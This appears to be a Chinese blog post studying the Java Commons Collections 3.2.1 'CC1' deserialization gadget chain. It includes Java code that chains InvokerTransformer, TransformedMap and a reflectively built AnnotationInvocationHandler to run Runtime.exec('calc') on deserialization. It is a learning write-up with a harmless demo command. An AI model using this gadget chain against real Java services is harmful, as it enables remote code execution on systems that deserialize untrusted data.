java反序列化——CC1链

参考 【【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)】【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)_哔哩哔哩_bilibili

java反序列化是java安全中非常重要的一点,也是最难的一点,我只能勉强跟着链子走一遍附上一些浅显的理解。 

CC1链

也就说cc链就是由这个Commons Collections组件引起的

jdk 是8U321

组件的依赖版本是3.2.1

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

 

有个一个java反序列化工具我看b站视频的时候up主自己写的工具挺有实力的。

夸克网盘分享

然后照着Java安全入门(二)——CC链1 分析+详解_cc1利用链-CSDN博客

将那个src文件源码拖进去了后面要用到的

很有道理,必须要实现序列化接口以及重写了readobject函数才有被利用的可能

对于分析其实是反着分析前辈构造好的链子,从后到前分析为什么会这样选择链子

现在分析的目的是搞明CC1链是如何实现了命令执行

首先是Transfomer这个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

就是这个接口的某个实现类实现了命令执行

其中相关的就是ConstantTransformer、invokerTransformer、ChainedTransformer 以及TransformedMap

可以右键转到实现查看

首先转到直接和命令执行相关的类invokerTransformer

可以看到重写了transform 并且需要传入一个对象

观察发现存在iMethodName iParamTypes iArgs 三个参数。可以往上看看构造方法

可以看到这个三个都是可以控制的变量methodName

String methodName:这通常是一个方法的名称,表示你想要调用的方法的名称。函数名 exec

Class[] paramTypes:这是一个 Class 类型的数组,包含了方法参数的类型信息。数组中的每个元素都对应于方法参数的一个类型,且顺序应与方法定义中的参数类型顺序一致。形参String.class

Object[] args:这是一个 Object 类型的数组,包含了实际传递给方法的参数值。数组中的元素数量和类型应与 paramTypes 数组中定义的参数数量和类型相匹配。实参 calc

这里可以直接实例化尝试进行一下命令执行

也就是以这个命令执行为基础向上去找哪里调用了这个InvokerTransformer 类中的 transform方法,这里我们在已经有答案的情况下可以很快的找到TransformedMap这个类

并且这个类刚好是实现了序列化接口重写了readobject,当然不一定是这里是入口类,也可能只是链子的一部分而已

因为Transformer是接口所以只要能实现这个接口的类都可以在这里触发这个map,比如这里就是keyTransformer和valueTransformer两个实现类对象名称,实际实例化的时候这里可以是InvokerTransformer invokerTransformer

并且此类中的checkSetValue函数就是我们需要关注的触发的函数,虽然还有另外两个也触发了transform函数。

如果此时的valueTransformer=invokerTransformer,并且进行如下的调用

checkSetValue(runtime); // Runtime runtime = Runtime.getRuntime();

那么实际执行的就是return invokerTransformer.transform(runtime);

那么这里首先是想办法将invokerTransformer传入,往上翻可以发现这个类的构造方法是可以赋值的,另外这里protected的修饰符只能在本类中使用

继续往上发现有一个decorate的方法他的作用是接受参数构造一个这个类的对象,正好解决了上面的创建次对象的问题,从这里可以传入参数构造我们想要的对象

但是又说回来前面的checkSetValue被protected修饰只能在本类中被修饰

于是寻找checkSetValue的用法看有哪里使用了这个函数转而去想办法间接的执行checkSetValue

发现有个setValue间接的执行了checkSetValue

观察发现setValue所在的类其实就是TransformedMap的父类,反过来观察decorate函数,其实是一个装饰器,作用就是传入一个map对象,然后返回一个有更多功能的增强版的新map对象回来,也就是说经过增强后新的map对象就有了新的setValue函数。这里感觉挺难理解的,反正我的理解就是一个装饰器的作用。

可以写一段代码来展示

package com.com.ms08067;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CC1test0 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
       //创建原始的map对象
        HashMap<Object, Object> map = new HashMap<>();
        //随意赋值
        map.put("a","b");
        //使用transfoemedmap对原始的map进行增强,得到增强后的decorate对象
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        //遍历map集的同时,可以得到集中每个条目对象entry,并且增强过后每个条目都有新的setValue函数也就是可以触发checkSetValue
        for (Map.Entry<Object,Object> entry:decorate.entrySet()){
            System.out.println(entry);//打印出来就是map键值对的内容
            entry.setValue(runtime);//于是这里就相当于触发了执行命令invokerTransformer.transform(runtime);
        }
    }


}

 

了解了setvalue的触发原理,那么就要继续寻找可以触发setvalue的调用

最好是能找到序列化入口类,如果不能就继续找中间类,当然在前人的智慧下,发现了入口类也就是实现了序列化接口并且重写的readobject中执行了setvalue的类

也就是这个的完整的链条就是这样的,相当妙。

这个时候还得继续解决问题,那就是如果让memberValues是我们想要的TransformedMap增强过后 Map呢

不过还好AnnotationInvocationHandler的构造方法中可以传入自己的Map。

Class type:这是注解的 Class 对象,表示你想要创建的代理的注解类型。这个类必须是 java.lang.annotation.Annotation 的一个子类,即它必须是一个注解类型。

Map memberValues:这是一个 Map,包含了注解成员的名称(作为 String 类型的键)和它们的值(作为 Object 类型的值)。这个 Map 用于存储注解成员的值,这些值将在代理对象上进行动态处理。

但是这个类和这个方法都不是public修饰。。。所以只能使用反射的方式进行

代码展示

package com.com.ms08067;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.jupiter.api.Test;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1test0 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap<Object, Object> map = new HashMap<>();
        map.put("a","b");
        //使用transfoemedmap对原始的map进行增强
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);

        Class<?> Clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造方法
        Constructor<?> constructor = Clazz.getDeclaredConstructor(Class.class, Map.class);//传入形参
        constructor.setAccessible(true);//非公开就要设置一下变为公开的
        Object o = constructor.newInstance(Target.class, decorate);//拿到构造方法可以构造对象了,传入Target注释类型以及前面设置的Map对象decorate
        //这里不能直接拿着o对象执行readobject函数因为在类中是readobject是私有的。。。
        //所以这里可以先进行序列化然后再出反反序列化,反序列化就会触发readobject了
        //这里是自己写的序列化方法
        serial.serialize(o);
        //反序列化传入文件名
        //此时可以在readobject打个断点调试一下,发现确实是进入了readobject方法
        serial.unserialize("ser.bin");

    }
    }
import org.junit.jupiter.api.Test;

import java.io.*;

//自定义的序列化类
public class serial {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));;
        objectOutputStream.writeObject(obj);

    }
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
    }

执行进入readobject了但是又遇到了问题

要想执行setvalue必须经过两个if的判断

第一个判断memberType != null

memberType = memberTypes.get(name) 所以只要memberTypes中的name不为空就可以

Map> memberTypes = annotationType.memberTypes();

其中annotationType = AnnotationType.getInstance(type);

最后找到type不就是一开始构造的时候传入的吗,也就是个注解的 Class 对象

回到前面 annotationType.memberTypes(); 注解对象的memberTypes()方法

那么可以尝试执行一下这个memberTypes函数看看得到什么东西

也就是如果传入的注释是Target然后memberTypes.get(value)返回的结果就不会是null,这里就用Target比较好因为他是java内库中携带的。

get(name)中的name是String name = memberValue.getKey();也就是传入的map集中的一个键值对中的key

也就是之前前面传入的map集中传个value为key的键值对就可以了

可以打断点调试一下

第一个if过了后第二个if其实也就过了

第二个if就判断了一下是否是实例化的类,传入的是一个实例所以也过了

最后进入了setvalue但是看这个里面好像没有我们可以控制的变量,里面好像是new了个新的对象放进去了

这里就用到ConstantTransformer,这个类中的transform无论你传入什么值他都会返回是一个常量,并且这个常量的值是在构造的时候传入的

这样确实可以使无论setvalue里面是啥,反正执行了都是想要的runtime

但是这样没有了invokerTransformer???那还执行个嘚的命令

于是这里就用上了ChainedTransformer类

这个类他传入一个transformer数组,然后链式调用数组里的这些transformer,前一个的输出作为后一个的输入

于是可以这样写

将constantTransformer的输出作为invokerTransformer的输入于是可以执行命令

有了这个chain那么一切都可以串起来了

最后遇到的问题是runtime不可以反序列化

解决办法是虽然runtime没有实现序列化接口但是class类实现了,通过class类去调用runtime实现

输出的确实是runtime对象

最终的代码,这一段全是反射调用我看的不怎么懂。

最终完整的代码

完整的链子追踪起来还是挺复杂的,里面很多地方也都只是浅尝而止,基础还是不牢固反射机制还学的不太明白。

等多看几条链子就老实了。。。

  • 15
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值